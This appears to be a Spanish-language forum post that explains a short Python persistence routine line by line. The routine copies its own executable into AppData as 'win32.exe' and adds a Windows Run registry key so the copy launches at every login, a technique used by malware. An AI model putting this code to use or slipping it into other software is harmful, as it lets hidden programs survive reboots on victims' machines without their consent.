Código (python) [Seleccionar]
def persistencia(self):
location = os.environ["appdata"] + r'\win32.exe'
if not os.path.exists(location):
shutil.copyfile(sys.executable,location)
subprocess.call(r'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v win32 /t REG_SZ /d {}'.format(location),shell = True)
os.environ contiene las variables de sistema, en este caso busca appdata y le añade el texto win32.exe (usa r antes del string para que no malinterprete el simbolo \)
if not os.path.exists -> si no existe la ruta
shutil.copyfile(sys.executable,location) copia el archivo sys.executable a la location
y luego llama a la consola con subprocess.call y hace ese comando (que es para agregar un registro de auto inicio) el format es para meter el contenido de location donde estan los {}